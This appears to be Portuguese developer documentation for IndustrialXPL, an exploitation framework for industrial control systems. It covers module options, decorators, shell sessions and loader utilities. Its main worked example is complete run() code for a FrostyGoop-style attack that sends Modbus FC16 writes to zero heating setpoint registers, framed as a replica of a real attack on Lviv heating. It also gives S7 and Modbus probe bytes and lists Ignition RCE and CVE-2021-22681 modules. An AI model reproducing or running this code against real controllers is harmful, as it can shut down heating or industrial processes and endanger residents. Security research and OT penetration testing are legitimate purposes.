show advanced. - Se comportam de forma idêntica a opções regulares em todos os outros aspectos.
- Ainda podem ser definidas com
set <opção> <valor>.
Declarações de exemplo:
verbose = OptBool(False, "Habilitar saída de debug detalhada", advanced=True)
timeout = OptInteger(5, "Override de timeout de conexão (segundos)", advanced=True)
jitter = OptFloat(0.0, "Jitter aleatório adicionado a delays (s)", advanced=True)
user_agent = OptString("", "Cabeçalho User-Agent HTTP customizado", advanced=True)
verify_cert = OptBool(True, "Verificar cadeia de certificado TLS/SSL", advanced=True)Exibição no shell:
ixf (Ignition RCE) > show options
Opções do Módulo (exploits/scada/ignition/ignition_rce)
─────────────────────────────────────────────────────────────────
Nome Atual Obrig. Descrição
──── ───── ────── ─────────
target sim IP ou hostname do dispositivo alvo
port 8088 sim Porta HTTP do Ignition Gateway
simulate True sim Modo simulação (padrão: True)
destructive False sim Habilitar exploração ao vivo
ixf (Ignition RCE) > show advanced
Opções Avançadas
─────────────────────────────────────────────────────────────────
Nome Atual Descrição
──── ───── ─────────
verbose False Habilitar saída de debug detalhada
timeout 5 Override de timeout de conexão (segundos)
verify_cert True Verificar cadeia de certificado TLS/SSL
Arquivo: industrialxpl/core/exploit/exploit.py
O decorador @mute suprime toda a saída padrão gerada dentro da função decorada. Faz isso apontando o thread_output_stream.stream local da thread para uma instância de _DummyFile cujos métodos write() e flush() são no-ops. Após o retorno da função (ou levantamento de exceção), o stream é redefinido para None.
Propósito: check() frequentemente é chamado de forma concorrente em muitos alvos em uma varredura multi-thread (run_threads()). Sem @mute, a saída de impressão de diferentes threads se entrelaçaria de forma imprevisível. Com @mute, a proba de check roda silenciosamente e o coordenador de thread imprime um resumo limpo.
Uso: Sempre aplique @mute a check(). Não aplique a run().
from industrialxpl.core.exploit import Exploit, OptIP, OptPort, mute
class Exploit(Exploit):
__info__ = { ... }
target = OptIP("", "IP alvo")
port = OptPort(502, "Porta")
@mute
def check(self) -> bool:
"""Este método roda silenciosamente — todas as chamadas print_* são suprimidas."""
if not self.target:
return False
try:
import socket
s = socket.socket()
s.settimeout(3)
s.connect((self.target, self.port))
s.close()
return True
except Exception:
return False
def run(self) -> None:
"""Este método NÃO é muted — saída é visível."""
# Chamadas print_* aqui aparecem normalmente no terminal
...O que acontece dentro de @mute:
# Código-fonte do decorador mute:
def mute(fn):
@wraps(fn)
def wrapper(*args, **kwargs):
thread_output_stream.stream = _DummyFile() # redirecionar para /dev/null
try:
return fn(*args, **kwargs) # executar função silenciosamente
finally:
thread_output_stream.stream = None # restaurar stdout
return wrapperArquivo: industrialxpl/core/exploit/exploit.py
O decorador @multi habilita um módulo a aceitar um arquivo de alvos via esquema URI file://. Quando self.target começa com "file://", o decorador abre o arquivo no caminho após file://, lê cada linha não vazia e não comentada, e chama a função decorada uma vez por linha com self.target definido para aquela linha.
Propósito: Permite que uma única invocação de run faça uma varredura de uma lista de alvos sem modificar a lógica central do módulo.
Formato do arquivo de alvos:
- Um endereço IP ou hostname por linha.
- Linhas começando com
#são tratadas como comentários e ignoradas. - Linhas em branco são ignoradas.
- Nenhuma expansão de shell ou padrões glob são suportados.
Exemplo de arquivo de alvos (/opt/targets.txt):
# Dispositivos Modbus TCP — Planta A
192.168.10.1
192.168.10.2
192.168.10.3
# HMIs da sala de controle
10.0.1.100
10.0.1.101
Uso:
from industrialxpl.core.exploit import Exploit, OptIP, OptPort, multi, print_status
class Exploit(Exploit):
__info__ = { ... }
target = OptIP("", "IP alvo ou file:///caminho/para/alvos.txt")
port = OptPort(502, "Porta")
@multi
def run(self) -> None:
# self.target é definido para a linha atual do arquivo
# Este corpo é chamado uma vez por alvo
print_status("Varrendo {}:{}".format(self.target, self.port))
# ... lógica de scan real ...Sessão de shell:
ixf (Modbus Detect) > set target file:///opt/targets.txt
[*] target => file:///opt/targets.txt
ixf (Modbus Detect) > run
[*] [multi] Alvo: 192.168.10.1
[*] Varrendo 192.168.10.1:502...
[+] Dispositivo Modbus encontrado em 192.168.10.1 (unit 1)
[*] [multi] Alvo: 192.168.10.2
[*] Varrendo 192.168.10.2:502...
[-] Sem resposta Modbus de 192.168.10.2
[*] [multi] Alvo: 192.168.10.3
[*] Varrendo 192.168.10.3:502...
[+] Dispositivo Modbus encontrado em 192.168.10.3 (unit 1)
Tratamento de erros: Se o arquivo de alvos não puder ser aberto (arquivo ausente, permissão negada), o decorador levanta RuntimeError: Cannot open target file: <mensagem de erro do OS>.
check() é a proba de conectividade e verificação de vulnerabilidade somente-leitura do módulo. O shell chama check() automaticamente antes de run() em alguns fluxos de trabalho, e diretamente quando o usuário executa o comando check.
Requisitos estritos:
- Deve ser decorado com
@mute— sempre. - Deve retornar
bool—Truese o alvo parece presente/vulnerável,Falsecaso contrário. - Nunca deve enviar payloads de exploit. Apenas probas benignas: conexão TCP, grab de banner, PDU de protocolo somente-leitura mínima.
- Deve tratar todas as exceções internamente e retornar
Falseem qualquer erro. - Deve retornar
Falseimediatamente seself.targetestiver vazio. - Deve respeitar
self.timeout.
Exemplo anotado completo (verificação de banner Modbus):
@mute
def check(self) -> bool:
"""Testa se o alvo responde ao Modbus TCP na porta configurada.
Envia uma única requisição Modbus FC3 (Read Holding Registers) para
o registrador 0, quantidade 1. Uma resposta válida de cabeçalho
Modbus (>=8 bytes) indica um dispositivo Modbus ativo.
Retorna:
True — Alvo respondeu com uma resposta em formato Modbus.
False — Alvo inacessível, porta errada, ou serviço Modbus ausente.
"""
# Guarda: alvo deve estar definido antes de tentar conexão
if not self.target:
return False
try:
# Abrir socket TCP com timeout configurado
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((self.target, self.port))
# Cabeçalho MBAP (6 bytes): Transaction=0x0001, Protocol=0x0000, Length=0x0006
# PDU: Unit=0x01, FC03=0x03, Start=0x0000, Count=0x0001
probe = bytes.fromhex("000100000006010300000001")
sock.sendall(probe)
# Uma resposta mínima contém cabeçalho MBAP de 6 bytes +
# unit ID (1) + FC (1) + byte count (1) + data (2) = 11 bytes
response = sock.recv(64)
sock.close()
# Resposta Modbus válida: ao menos 8 bytes, protocol ID = 0x0000
if len(response) >= 8:
protocol_id = (response[2] << 8) | response[3]
return protocol_id == 0x0000
return False
except (socket.timeout, ConnectionRefusedError, OSError):
return False
except Exception:
return Falsecheck() mínimo para módulos sem proba de rede:
@mute
def check(self) -> bool:
"""Verificação trivial — retorna True se o alvo está definido."""
return bool(self.target)check() com inspeção de banner específico do vendor (Siemens S7):
@mute
def check(self) -> bool:
"""Verifica Siemens S7-1200 inspecionando o handshake COTP/S7comm."""
if not self.target:
return False
try:
sock = socket.socket()
sock.settimeout(self.timeout)
sock.connect((self.target, self.port))
# TPKT + COTP Connection Request (sequência padrão de conexão S7)
cotp_cr = bytes.fromhex(
"0300001611e00000001400c1020100c2020102c0010a"
)
sock.sendall(cotp_cr)
resp = sock.recv(32)
sock.close()
# COTP Connection Confirm começa com 0x03 0x00 ... 0xD0
return len(resp) > 5 and resp[0] == 0x03 and resp[5] == 0xD0
except Exception:
return Falserun() é o ponto de entrada de execução principal do módulo. O shell o chama quando o usuário emite o comando run ou exploit.
Requisitos estritos:
- Deve validar
self.targetprimeiro e retornar com erro se não definido. - Se
self.simulateéTrue: chamarDestructiveGate.print_simulation()e retornar imediatamente. Nenhum pacote enviado. - Se
self.simulateéFalse: implementar a lógica real de exploit, scan ou assessment. - Não deve chamar
DestructiveGate.require_confirmation()diretamente — o shell trata esse portão antes de chamarrun(). - Deve usar apenas
print_status,print_success,print_error,print_warning,print_infopara saída.
run() completo anotado com ramos simulate / ao vivo:
def run(self) -> None:
"""Executa o ataque de aquecimento estilo FrostyGoop ou imprime simulação.
Em modo simulação: imprime a cadeia exata de ataque, payload hex e
técnicas MITRE sem enviar nenhum tráfego.
Em modo ao vivo (simulate=False + destructive=True após confirmação):
envia comandos Modbus FC16 para zerar registradores de setpoint.
"""
# ── Validar opções obrigatórias ────────────────────────────────────────
if not self.target:
print_error(
"Defina 'target' primeiro. "
"Exemplo: set target 192.168.1.100"
)
return
# ── Caminho de simulação — absolutamente nenhum pacote ────────────────
if self.simulate:
DestructiveGate.print_simulation(
description=(
"FrostyGoop TTP (2024) — Sandworm/GRU (Rússia)\n\n"
"Fase 1 [Descoberta]: Varredura de porta Modbus TCP 502 em {target}\n"
"Fase 2 [FC16 Write]: Escrita de 0x0000 nos registradores de aquecimento\n"
"Fase 3 [Loop]: Repetição a cada 30s para impedir recuperação manual\n"
"Impacto Físico: Controladores de aquecimento offline — 600 apartamentos "
"em Lviv, Ucrânia perderam calefação por 2 dias (janeiro 2024)"
).format(target=self.target),
payload_hex=(
"00 01 00 00 00 0B {unit} 10 00 00 00 02 04 "
"00 00 00 00"
).format(unit=format(self.unit_id, "02x")),
payload_human=(
"Modbus FC16 Write Multiple Registers: "
"address=0x0000, count=2, values=[0x0000, 0x0000] "
"(zerar registradores de setpoint de aquecimento)"
),
mitre_techniques=["T0836", "T0814"],
)
return
# ── Caminho de exploit ao vivo ─────────────────────────────────────────
# A execução chega aqui somente quando:
# 1. simulate=False
# 2. destructive=True
# 3. DestructiveGate.require_confirmation() retornou True (tratado pelo shell)
print_status(
"[FrostyGoop] Conectando a {}:{} (unit {})...".format(
self.target, self.port, self.unit_id
)
)
try:
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self.timeout)
sock.connect((self.target, self.port))
print_status("[FrostyGoop] Conexão estabelecida.")
# Construir PDU Modbus FC16 Write Multiple Registers
def build_fc16(unit: int, address: int, values: list) -> bytes:
count = len(values)
byte_count = count * 2
data = b"".join(v.to_bytes(2, "big") for v in values)
length = 7 + byte_count
return (
b"\x00\x01\x00\x00"
+ length.to_bytes(2, "big")
+ bytes([unit, 0x10])
+ address.to_bytes(2, "big")
+ count.to_bytes(2, "big")
+ bytes([byte_count])
+ data
)
payload = build_fc16(self.unit_id, 0x0000, [0x0000, 0x0000])
sock.sendall(payload)
response = sock.recv(12)
sock.close()
if len(response) >= 8 and response[7] == 0x10:
print_success(
"[FrostyGoop] Escrita FC16 confirmada — registradores de "
"aquecimento zerados em {}:{}".format(self.target, self.port)
)
else:
print_error("[FrostyGoop] Resposta inesperada — escrita pode ter falhado.")
except ConnectionRefusedError:
print_error(
"Conexão recusada em {}:{} — porta Modbus pode estar fechada.".format(
self.target, self.port
)
)
except socket.timeout:
print_error("Timeout de conexão após {}s.".format(self.timeout))
except Exception as exc:
print_error("Erro inesperado durante execução: {}".format(exc))Definido em: industrialxpl/core/exploit/exploit.py (classe BaseExploit)
get_info() recupera o dicionário __info__ para qualquer módulo carregado.
Código-fonte:
def get_info(self) -> dict:
"""Retorna o dict __info__ do módulo (sobrevive ao name mangling da metaclasse)."""
for cls in type(self).__mro__:
key = "_{name}__info__".format(name=cls.__name__)
val = cls.__dict__.get(key)
if val is not None:
return val
return {}Como funciona:
- Itera pelo MRO (Method Resolution Order) da classe — a lista de classes do mais derivado ao mais base.
- Para cada classe no MRO, constrói o nome de chave mangled
_{NomeClasse}__info__. - Verifica
cls.__dict__diretamente (nãogetattr, para evitar busca de descritor). - Retorna o primeiro valor não-None encontrado.
- Retorna
{}se nenhum__info__for encontrado em qualquer parte da hierarquia.
Uso programático:
from industrialxpl.core.exploit.utils import import_exploit
# Carregar a classe e instanciar
ExploitClass = import_exploit(
"industrialxpl.modules.cve.malware.frostygoop_modbus_heating"
)
module_instance = ExploitClass()
# Recuperar metadados
info = module_instance.get_info()
print(info["name"]) # FrostyGoop Modbus Heating Attack (Extended)
print(info["impact"]) # CATASTROPHIC
print(info["cve"]) # N/A
print(info["mitre_techniques"]) # ['T0836', 'T0814']
print(info["authors"]) # ('Andre Henrique (@mrhenrike) | Uniao Geek',)
# Acessar todos os campos
for key, value in info.items():
print("{:25s}: {}".format(key, value))Uso via show info no shell:
ixf (FrostyGoop Modbus Heating) > show info
Módulo: cve/malware/frostygoop_modbus_heating
─────────────────────────────────────────────────────────────────
Nome: FrostyGoop Modbus Heating Attack (Extended)
Descrição: Replica o TTP FrostyGoop usado pelo Sandworm/GRU em
janeiro de 2024 para desabilitar aquecimento em 600
apartamentos em Lviv, Ucrânia.
Autores: Andre Henrique (@mrhenrike) | Uniao Geek
CVE: N/A (TTP de malware — sem CVE atribuído)
CVSS: N/A
Severidade: CATASTROPHIC
Impacto: CATASTROPHIC
Dispositivos: Controladores Modbus RTU/TCP de aquecimento
Técnicas: T0836 (Modify Parameter), T0814 (Denial of Control)
Táticas: Impair Process Control, Impact
Definido em: industrialxpl/core/exploit/exploit.py (classe Protocol)
A classe Protocol é um namespace de constantes de string usadas para definir target_protocol nas classes de exploit.
Todas as constantes:
| Atributo | Valor string | Protocolo / Transporte |
|---|---|---|
Protocol.CUSTOM |
"custom" |
Protocolo desconhecido ou genérico |
Protocol.TCP |
"custom/tcp" |
TCP bruto (sem protocolo de aplicação) |
Protocol.UDP |
"custom/udp" |
UDP bruto |
Protocol.FTP |
"ftp" |
File Transfer Protocol |
Protocol.SFTP |
"sftp" |
SSH File Transfer Protocol |
Protocol.SSH |
"ssh" |
Secure Shell |
Protocol.TELNET |
"telnet" |
Telnet (comum em dispositivos OT legados) |
Protocol.HTTP |
"http" |
HTTP (interfaces web SCADA, APIs REST HMI) |
Protocol.HTTPS |
"https" |
HTTPS |
Protocol.SNMP |
"snmp" |
SNMP (gerenciamento de dispositivos de rede) |
Protocol.MODBUS |
"modbus/tcp" |
Modbus TCP (compatível IEC 61158) |
Protocol.S7 |
"s7comm" |
Siemens S7comm / S7comm-Plus (porta 102) |
Protocol.ENIP |
"ethernet/ip" |
EtherNet/IP (CIP sobre TCP/UDP, porta 44818) |
Protocol.DNP3 |
"dnp3" |
DNP3 (Distributed Network Protocol, porta 20000) |
Protocol.BACNET |
"bacnet/ip" |
BACnet/IP (ASHRAE 135, porta 47808 UDP) |
Uso em um módulo:
from industrialxpl.core.exploit.exploit import Protocol
class Exploit(Exploit):
__info__ = { ... }
target_protocol = Protocol.MODBUS # Declara que este módulo visa Modbus TCPProtocolos personalizados (não no enum):
target_protocol = "iec60870-5-104" # IEC 60870-5-104 (T104)
target_protocol = "profinet/dcp" # PROFINET DCP
target_protocol = "mms" # MMS (IEC 61850)
target_protocol = "srtp" # GE SRTP
target_protocol = "opcua" # OPC UA
target_protocol = "fins" # Omron FINS
target_protocol = "melsec" # Mitsubishi MELSECDefinida em: industrialxpl/core/exploit/exploit.py
ExploitOptionsAggregator é a metaclasse Python que alimenta o sistema de opções do IXF e o tratamento de __info__. É executada uma vez por definição de classe no momento da importação, não na criação da instância.
O que ela faz:
-
Herda
exploit_attributesdas classes base. Mescla os dicionáriosexploit_attributesde todas as classes base. Isso significa que as opçõessimulateedestructivedeclaradas emBaseExploitestão automaticamente disponíveis em todos os módulos sem re-declaração. -
Coleta descritores
Option. Para cada atributo de classe que é uma instância deOption(ou seja,OptIP,OptPort, etc.):- Define
value.label = keypara que o descritor saiba seu próprio nome. - Adiciona uma entrada a
exploit_attributes[key]=[valor_exibição, descrição, flag_avançado].
- Define
-
Faz mangling de
__info__. Se o corpo da classe contém uma chave__info__, a metaclasse a renomeia para_{NomeClasse}__info__e deleta a chave original.
Como exploit_attributes funciona:
Após a criação da classe, Exploit.exploit_attributes é um dict como:
{
"simulate": [True, "Modo simulação: descreve a ação sem ...", False],
"destructive": [False, "Habilitar exploração ao vivo ...", False],
"target": ["", "IP ou hostname do dispositivo alvo", False],
"port": [502, "Porta Modbus TCP", False],
"unit_id": [1, "Modbus unit ID (1-247)", False],
"timeout": [5, "Timeout de conexão (segundos)", True], # avançado
}Cada entrada: [valor_padrão, string_descrição, is_avançado_bool].
Arquivo: industrialxpl/core/exploit/utils.py
Importa um módulo pelo seu caminho Python completo com pontos e retorna a primeira classe encontrada com nome Exploit, Scanner ou Assessment.
Assinatura:
def import_exploit(path: str) -> typeUso:
from industrialxpl.core.exploit.utils import import_exploit
# Carregar uma classe de módulo pelo seu caminho completo com pontos
ExploitClass = import_exploit(
"industrialxpl.modules.cve.siemens.cve_2021_22681_s7_1200_hardcoded_key"
)
# Instanciar
module = ExploitClass()
# Configurar opções programaticamente
module.target = "192.168.1.100"
module.port = 102
module.simulate = True
# Usar get_info() para acessar metadados
info = module.get_info()
print(info["name"]) # CVE-2021-22681 Siemens S7-1200/1500 Hardcoded Key
print(info["impact"]) # CRITICAL
# Executar a proba check
reachable = module.check()
print("Acessível:", reachable)
# Executar o módulo (modo simulação — nenhum pacote enviado)
module.run()Arquivo: industrialxpl/core/exploit/utils.py
Percorre a árvore de diretórios industrialxpl/modules/ e retorna uma lista ordenada de todos os caminhos de módulo importáveis.
Assinatura:
def index_modules(modules_directory: str = MODULES_DIR) -> list[str]Exemplos de filtragem:
from industrialxpl.core.exploit.utils import index_modules
all_modules = index_modules()
# Todos os módulos que visam produtos Siemens
siemens = [m for m in all_modules if "siemens" in m]
# Todos os módulos de técnica MITRE ATT&CK
mitre = [m for m in all_modules if m.startswith("assessment.mitre_ics.t")]
# Todos os módulos scanner
scanners = [m for m in all_modules if m.startswith("scanners.")]
# Todos os módulos CVE
cve_mods = [m for m in all_modules if m.startswith("cve.")]
# Módulos relacionados a Modbus
modbus = [m for m in all_modules if "modbus" in m]
print(f"Total de módulos: {len(all_modules)}")
print(f"Módulos MITRE ICS: {len(mitre)}")
print(f"Módulos scanner: {len(scanners)}")Exclusões: Diretórios listados em DISABLED_DOMAINS são pulados:
DISABLED_DOMAINS = {"__pycache__", "_native"}Isso significa que cve/malware/_native/ (código de malware compilado) nunca é retornado por index_modules().
Após escrever um novo módulo, verifique se ele carrega corretamente e passa na validação antes de usá-lo no shell.
Teste de importação rápida (módulo único):
cd D:\Projetos-SafeLabs\submodules\OT\IndustrialXPL-Forge
python -c "
from industrialxpl.core.exploit.utils import import_exploit
cls = import_exploit('industrialxpl.modules.cve.siemens.cve_2021_22681_s7_1200_hardcoded_key')
obj = cls()
info = obj.get_info()
print('[OK]', info['name'])
print(' Impacto:', info['impact'])
print(' CVE: ', info['cve'])
"Saída esperada:
[OK] CVE-2021-22681 Siemens S7-1200/1500 Hardcoded Crypto Key
Impacto: CRITICAL
CVE: CVE-2021-22681
Validação completa da árvore de módulos:
python -c "
from industrialxpl.core.exploit.utils import index_modules, import_exploit
mods = index_modules()
errors = []
warnings = []
for m in mods:
try:
cls = import_exploit('industrialxpl.modules.' + m)
obj = cls()
info = obj.get_info()
if not info:
warnings.append((m, '__info__ vazio'))
elif 'name' not in info:
warnings.append((m, 'chave name ausente em __info__'))
except Exception as e:
errors.append((m, str(e)))
print(f'Verificados: {len(mods)} módulos')
print(f'Erros: {len(errors)}')
print(f'Avisos: {len(warnings)}')
if errors:
print()
print('ERROS:')
for m, e in errors:
print(f' [ERR] {m}')
print(f' {e}')
if not errors and not warnings:
print('Todos os módulos carregados e validados com sucesso.')
"Saída esperada (árvore saudável):
Verificados: 87 módulos
Erros: 0
Avisos: 0
Todos os módulos carregados e validados com sucesso.
Saída quando um módulo tem erros:
Verificados: 88 módulos
Erros: 1
Avisos: 0
ERROS:
[ERR] cve.siemens.meu_novo_modulo
Cannot import 'industrialxpl.modules.cve.siemens.meu_novo_modulo':
No module named 'struct2'
Veja Desenvolvimento de Módulos para o template completo de módulo de produção com todos os padrões, anotado linha por linha.
Anterior: Referência do Shell | Próximo: SafeMode / DestructiveMode